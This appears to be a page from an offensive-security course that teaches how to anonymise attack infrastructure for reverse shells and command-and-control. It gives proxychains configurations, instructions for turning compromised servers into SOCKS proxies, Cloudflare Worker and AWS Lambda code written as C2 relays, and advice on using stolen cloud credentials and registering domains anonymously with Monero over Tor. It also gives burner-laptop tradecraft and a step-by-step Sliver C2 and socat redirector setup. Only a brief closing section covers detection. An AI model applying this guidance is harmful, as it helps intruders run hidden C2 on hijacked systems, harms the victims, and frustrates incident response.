Infrastructure Hiding - Shadow Protocol

Hiding Your Tracks: Infrastructure Anonymization

The fundamental problem: a reverse shell to your home IP is amateur hour. Professional operators add layers between themselves and their targets. Every layer that can be burned protects the layers behind it.

The IP Problem

When a payload executes and creates a reverse shell, it connects somewhere. That somewhere ends up in logs. Firewall logs, SIEM logs, packet captures. If that IP traces back to your Comcast home connection, you're done.

victim-firewall.log

2024-01-15 14:32:17 ALLOW TCP 192.168.1.105:49721 -> 73.242.156.89:443
2024-01-15 14:32:17 ALLOW TCP 192.168.1.105:49721 -> 73.242.156.89:443
2024-01-15 14:33:18 ALLOW TCP 192.168.1.105:49721 -> 73.242.156.89:443
# Incident responder: "Who owns 73.242.156.89?"
# Answer: Comcast residential, John Smith, 123 Main St.

The solution is indirection—inserting layers between you and the target so that even if one layer is compromised, it doesn't lead directly to you.

Proxy Chains & Tunneling

The shell doesn't go direct. It bounces through multiple nodes. Each hop only knows the previous and next node in the chain. Your real IP never touches the victim.

Basic Proxy Chain

┌────────────┐    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌────────────┐
│  ATTACKER  │───►│  VPN/Tor    │───►│  Proxy #1   │───►│  Proxy #2   │───►│   VICTIM   │
│  Real IP   │    │  Exit Node  │    │ Compromised │    │ Compromised │    │            │
│            │    │             │    │   Server    │    │   Server    │    │            │
└────────────┘    └─────────────┘    └─────────────┘    └─────────────┘    └────────────┘
     │                  │                   │                  │                  │
     │                  │                   │                  │                  │
   HIDDEN            KNOWS:              KNOWS:             KNOWS:            SEES:
                   Attacker's         VPN exit IP       Proxy #1 IP      Proxy #2 IP
                    Real IP                                               (logged)

Each hop only knows its immediate neighbors.
                    If Proxy #2 is burned, investigation hits Proxy #1.
                    If Proxy #1 is burned, investigation hits Tor exit.
                    At Tor, the trail goes cold.

ProxyChains Configuration

The proxychains tool on Linux wraps any command and routes its traffic through configured proxies. The configuration file defines the chain:

# /etc/proxychains.conf

# Dynamic chain - skips dead proxies, continues through chain
dynamic_chain

# Quiet mode - don't output proxy connection info
quiet_mode

# Proxy list (traffic flows through in order)
[ProxyList]
# Type    Host             Port    User    Pass

# First hop - Tor for anonymization
socks5  127.0.0.1        9050

# Second hop - compromised box in Eastern Europe
socks5  185.234.xxx.xxx  1080    user    pass

# Third hop - another compromised box
socks5  45.227.xxx.xxx   1080

# Final hop before target - cloud VPS
socks5  167.99.xxx.xxx   1080

Usage is straightforward:

# All nmap traffic routes through the proxy chain
proxychains nmap -sT -Pn 192.168.1.0/24

# SSH through the chain
proxychains ssh user@target-server

# Any command can be wrapped
proxychains curl https://target-website.com

OPSEC Note

Public proxy lists are dangerous. Many are:

Honeypots: Run by law enforcement or intelligence agencies
Logging everything: Your traffic is recorded and sold
Unreliable: Die mid-operation, breaking your chain
Overloaded: Slow, timing-out, unusable

Professionals use their own compromised boxes as SOCKS proxies—reliable, fast, and nobody's monitoring them.

Compromised Infrastructure

The cleanest approach: don't use your machines at all. The callback goes to infrastructure you don't own and didn't pay for.

Types of Compromised Infrastructure

Type	Description	Advantages	Risks
Pwned Servers	Servers compromised in previous operations, repurposed as proxies	No payment trail, disposable, often high bandwidth	Could be discovered and cleaned, might already be monitored
Cloud with Stolen Creds	AWS/Azure/GCP accounts accessed via leaked credentials	Legitimate cloud IPs, high performance	Account could be terminated by abuse team
IoT Botnets	Compromised cameras, routers, smart devices	Millions of nodes, residential IPs	Unreliable, low bandwidth, noisy
University/Research Systems	Academic infrastructure with weak security	High bandwidth, often unmonitored, trusted IP ranges	May be investigated thoroughly if discovered

Setting Up a SOCKS Proxy on a Compromised Box

Once you have shell access to a server, turning it into a proxy takes seconds:

# On compromised server - simple SSH-based SOCKS proxy
# (Attacker connects to this from their machine)

# Option 1: SSH dynamic port forwarding (if SSH access)
# On attacker machine:
ssh -D 1080 -f -C -q -N user@compromised-server
# Now 127.0.0.1:1080 is a SOCKS5 proxy through that server

# Option 2: Using dante or microsocks (install on compromised box)
# Simple single-binary SOCKS server:
./microsocks -p 1080 -b 0.0.0.0

# Option 3: Chisel (tunneling, good for restrictive environments)
# Server side (compromised box):
./chisel server -p 8080 --socks5

# Client side (attacker):
./chisel client compromised-server:8080 socks

Cloud Functions as Proxies

This is a sophisticated technique that deserves detailed explanation.

AWS Lambda, Cloudflare Workers, Azure Functions, Google Cloud Functions—these are "serverless" compute platforms. You write a small function, the cloud provider runs it on demand. You don't get a persistent server, just execution time.

The key insight: when your function makes an outbound request, it comes from the cloud provider's IP ranges. These IP ranges are used by millions of legitimate applications. Netflix uses AWS Lambda. Half the Fortune 500 runs on these platforms.

Cloud Function Proxy Flow

┌────────────┐        ┌─────────────────────────────────────────────────────┐
│  ATTACKER  │        │              CLOUD PROVIDER (AWS/Cloudflare)       │
│            │        │  ┌─────────────────────────────────────────────┐   │
│  Calls     │───────►│  │  Lambda Function / Worker                   │   │
│  Function  │        │  │                                             │   │
│            │        │  │  - Receives attacker's request              │   │
│            │        │  │  - Makes request to real destination        │   │
│            │        │  │  - Returns response to attacker             │   │
│            │        │  └────────────────────┬────────────────────────┘   │
└────────────┘        │                       │                            │
                      │                       │ Request goes out           │
                      │                       │ from AWS/CF IP             │
                      │                       ▼                            │
                      └─────────────────────────────────────────────────────┘
                                              │
                                              ▼
                                    ┌─────────────────┐
                                    │     VICTIM      │
                                    │                 │
                                    │  Sees traffic   │
                                    │  from AWS IP:   │
                                    │  52.94.x.x      │
                                    │                 │
                                    │  Looks totally  │
                                    │  legitimate!    │
                                    └─────────────────┘

Cloudflare Worker Example

// Cloudflare Worker - acts as a proxy to real C2 server

addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
    // The real C2 server - hidden from the victim
    const realC2 = 'https://actual-c2-server.onion.to'

// Clone the request and forward it
    const modifiedRequest = new Request(realC2, {
        method: request.method,
        headers: request.headers,
        body: request.body
    })

// Make request to real C2
    const response = await fetch(modifiedRequest)

// Return response to implant
    return new Response(response.body, {
        status: response.status,
        headers: response.headers
    })
}

AWS Lambda Example

# AWS Lambda function - simple HTTP proxy

import json
import urllib.request

def lambda_handler(event, context):
    # Get target URL from request
    target_url = event.get('target', 'https://actual-c2-server.com')
    payload = event.get('payload', '')

# Make request (from AWS IP, not attacker IP)
    req = urllib.request.Request(
        target_url,
        data=payload.encode('utf-8') if payload else None,
        headers={'Content-Type': 'application/json'}
    )

with urllib.request.urlopen(req) as response:
        result = response.read().decode('utf-8')

return {
        'statusCode': 200,
        'body': result
    }

Disassociating from Cloud Account Ownership

The question arises: if you spin up a Lambda function, AWS knows your identity. How do attackers break this chain?

Method	How It Works	Traceability
Stolen Credentials	Underground markets sell compromised AWS access keys	Points to original victim, not attacker
Leaked Keys from GitHub	Tools like TruffleHog scan public repos for exposed secrets	Points to careless developer
Crypto-Purchased Accounts	Services sell "aged" accounts purchased with Monero, no real identity attached	Dead end at crypto transaction
Cloudflare Free Tier + Tor	Register with burner email via Tor, no payment needed for Workers free tier	Email is protonmail, IP is Tor exit

# Scanning GitHub for exposed AWS credentials
trufflehog github --org=targetcompany --only-verified

# Or using GitLeaks
gitleaks detect --source=/path/to/repo

# Example finding:
# AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
# AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Found in: deploy-script.sh, line 45

Residential Proxy Networks

You mentioned the "$200 VPN thing"—this refers to residential proxy networks.

Services like Bright Data (formerly Luminati), Oxylabs, and sketchier underground equivalents work on a simple model:

Regular people install an app for "free VPN" or to "share unused bandwidth"
They unknowingly become exit nodes for other users' traffic
Your traffic exits from their Comcast/Spectrum/AT&T residential IP

Residential Proxy Flow

┌────────────┐     ┌─────────────────────────────────┐     ┌────────────┐
│  ATTACKER  │────►│   Residential Proxy Service     │────►│   VICTIM   │
│            │     │                                 │     │            │
│            │     │  Routes through actual home     │     │  Sees IP:  │
│            │     │  internet connections:          │     │  73.45.x.x │
│            │     │                                 │     │  (Comcast  │
│            │     │  - Grandma in Florida           │     │  Atlanta)  │
│            │     │  - Student in Germany           │     │            │
│            │     │  - Random user who installed    │     │            │
│            │     │    "Free VPN Booster" app       │     │            │
└────────────┘     └─────────────────────────────────┘     └────────────┘

Why it's effective:

Traffic exits from RESIDENTIAL IPs, not datacenter ranges
Firewalls don't flag 73.x.x.x (Comcast) like they flag 45.33.x.x (Linode)
IP reputation services see normal consumer behavior
Blends with legitimate home user traffic

Why it's terrible for the "volunteers": Their IP is now associated with whatever activities transit through it. But attackers don't care about that.

Defense Perspective

This is why blocking by IP reputation alone is insufficient. Residential IPs have inherently "good" reputation because they're home users. Detection must rely on behavioral analysis, not just IP classification.

Anonymous Domain Registration

Your C2 infrastructure needs domain names. IP addresses change, domains don't. But domain registration requires identity—or does it?

Why Domains Instead of IPs?

Flexibility: If a C2 server is burned, just update DNS to point to a new one. Implants don't need updating.
Legitimacy: cdn-analytics-prod.com looks more legitimate than 185.199.50.2
Domain Fronting: Advanced technique where traffic appears to go to legitimate services
Reputation: Aged domains with history are trusted more than raw IPs

Registration Methods

Registrar	Accepts Crypto?	Privacy Options	Notes
Njalla	Monero, Bitcoin	Njalla is the registrant (you're hidden)	Privacy-focused, owned by Pirate Bay co-founder
Porkbun	Bitcoin	WHOIS privacy included	Cheap, accepts crypto
Namecheap	Bitcoin	WhoisGuard privacy	Well-known, might comply with requests

The Registration Process

# Complete anonymous registration flow:

1. Create burner email:
   - Use Tor Browser
   - Go to protonmail.com (or similar)
   - Create: randomstring847@protonmail.com
   - No phone verification needed

2. Access registrar via Tor:
   - Tor Browser to registrar site
   - Create account with burner email
   - Your IP = Tor exit node

3. Payment with cryptocurrency:
   - Monero (XMR) = truly anonymous
   - Bitcoin (BTC) = pseudonymous, needs mixing
   - Never use exchange wallet (linked to your identity)

4. Use WHOIS privacy:
   - Registrar's address appears instead of yours
   - Even if subpoenaed, registrar has:
     - Dead-end email
     - Tor exit IP
     - Untraceable crypto payment

5. Let domain age (optional but valuable):
   - Newly registered domains are flagged
   - 30+ day old domains more trusted
   - Some attackers buy expired domains with existing reputation

Domain Reputation

Threat intelligence feeds track known-bad domains. Security products query services like:

Cisco Umbrella / OpenDNS
Domain reputation scoring services
Category classification services

Newly registered domains (NRDs) are often blocked or flagged. Domains under 30 days old are treated with suspicion by many security tools.

Physical OPSEC

You mentioned coffee shop operations. Physical security is often harder than network security.

The Coffee Shop Problem

Cameras everywhere (inside and outside)
Your MAC address logged by the AP
Your face on security footage
Phone in your pocket pinging cell towers
Car in parking lot + license plate readers
Payment methods (credit card for coffee?)
Witnesses who might remember you

The "Burner Laptop" Discipline

Purchased with cash, no receipt
Never connected to home network
MAC address randomization enabled
Full disk encryption
Tails OS (amnesic, leaves no traces)
Never used near home or work
Destroyed after operation

Most attackers get caught through meatspace mistakes, not network forensics. They log into their C2 from home "just once." They reuse a username. They pay for something with a card. One mistake collapses the entire chain.

Building the Chain: How Steps Connect

You asked: "Do they connect directly to each step or ladder through?"

Always ladder through. Even during infrastructure setup.

# Setting up infrastructure - every step through layers

# 1. Connect to operational proxy (already compromised in previous op)
ssh -o ProxyCommand="nc -x 127.0.0.1:9050 %h %p" root@operational-proxy
# This SSH connection goes through Tor (port 9050)

# 2. From operational proxy, set up C2 server on bulletproof hosting
ssh root@bulletproof-vps-ip
apt update && apt install -y sliver  # Or whatever C2 framework

# 3. Generate implants
sliver > generate beacon --http redirector1.com --save /tmp/payload.exe

# 4. Set up redirector (different session, different proxy chain)
# On a new terminal, through a different proxy chain:
ssh -o ProxyCommand="nc -x 127.0.0.1:9050 %h %p" root@redirector-vps

# Install simple redirector
apt install socat
socat TCP-LISTEN:443,fork TCP:real-c2-ip:443 &

# 5. Point domain to redirector (through Tor Browser)
# Update DNS: cdn-analytics-prod.com -> redirector IP
# Real C2 IP is never exposed

# 6. Test the full chain from a different location/network
# Make sure implant callbacks work through all layers

Complete Infrastructure Architecture

                                 ATTACKER SIDE
┌──────────────────────────────────────────────────────────────────────┐
│                                                                      │
│   ┌──────────┐     ┌─────────┐     ┌─────────┐                      │
│   │ Attacker │────►│   VPN   │────►│   Tor   │                      │
│   │ Machine  │     │         │     │ Network │                      │
│   └──────────┘     └─────────┘     └────┬────┘                      │
│                                         │                            │
└─────────────────────────────────────────┼────────────────────────────┘
                                          │
                                          ▼
                         ┌────────────────────────────────┐
                         │    Operational Proxy           │
                         │    (Compromised Server)        │
                         │    - Used for infrastructure   │
                         │      setup only                │
                         └────────────────┬───────────────┘
                                          │
              ┌───────────────────────────┼───────────────────────────┐
              │                           │                           │
              ▼                           ▼                           ▼
   ┌──────────────────┐      ┌──────────────────┐      ┌──────────────────┐
   │   Redirector 1   │      │   Redirector 2   │      │ Domain Registrar │
   │   (Disposable)   │      │   (Backup)       │      │   (via Tor)      │
   │                  │      │                  │      │                  │
   │   Forwards to    │      │   Forwards to    │      │ cdn-analytics-   │
   │   real C2        │      │   real C2        │      │ prod.com         │
   └────────┬─────────┘      └────────┬─────────┘      └──────────────────┘
            │                         │                         │
            └───────────┬─────────────┘                         │
                        │                                       │
                        ▼                                       │
             ┌──────────────────┐                               │
             │   REAL C2        │◄──────────────────────────────┘
             │   (Hidden)       │        DNS points to redirectors,
             │                  │        not to real C2
             │   - Sliver       │
             │   - Cobalt Strike│
             │   - Havoc        │
             │                  │
             └──────────────────┘

VICTIM SIDE
┌──────────────────────────────────────────────────────────────────────┐
│                                                                      │
│   ┌──────────────────┐                                               │
│   │     IMPLANT      │                                               │
│   │     on victim    │                                               │
│   │                  │                                               │
│   │  Beacons to:     │                                               │
│   │  cdn-analytics-  │──────────► DNS resolves to Redirector        │
│   │  prod.com        │           │                                   │
│   │                  │           │                                   │
│   └──────────────────┘           │                                   │
│                                  │                                   │
│   Victim firewall logs show:     │                                   │
│   - Connection to cdn-analytics-prod.com                             │
│   - IP of Redirector (not real C2)                                   │
│   - HTTPS traffic that looks normal                                  │
│                                                                      │
└──────────────────────────────────────────────────────────────────────┘

If Redirector 1 is burned:
  1. Take it offline
  2. Update DNS to point to Redirector 2
  3. Implants automatically reconnect
  4. Real C2 remains hidden
  5. Investigation hits dead end at Redirector 1

## Detection Strategies

Defense: How to Detect This

Attackers put significant effort into infrastructure hiding. Here's how defenders can still catch them:

### Indicators to Watch

| Indicator                    | What to Look For                                             | Detection Method                               |
|-------------------------------|-------------------------------------------------------------|------------------------------------------------|
| **Newly Registered Domains**  | Domains less than 30 days old                              | WHOIS lookups, domain age feeds (Cisco Umbrella, etc.) |
| **Cloud Provider IP Ranges**  | Unexpected traffic to AWS/Azure/GCP/Cloudflare             | Compare against known-good baseline of cloud usage |
| **Traffic to Suspicious TLDs**| .xyz, .top, .click, .tk, etc.                              | DNS logging and analysis                        |
| **First-Time Destinations**   | Host contacting a domain for the first time ever           | Historical DNS/connection analysis               |
| **Uncategorized Domains**     | Domains not in web filter category databases                | Proxy logs, URL categorization services         |

### Behavioral Analysis

Even with perfect infrastructure hiding, behavioral analysis can catch attackers:

- **Beaconing Patterns:** Regular check-ins, even with jitter, create statistical patterns over time
- **JA3/JA3S Fingerprints:** TLS handshake parameters create unique signatures that can be matched against known-bad tools
- **Request/Response Ratios:** C2 traffic often has unusual symmetry compared to normal browsing
- **Timing Correlation:** Activity during unusual hours for the organization

[Previous Social Engineering](/content/shadow/pages/27-social-engineering.html) [Next C2 Setup](/content/shadow/pages/02-c2-setup.html)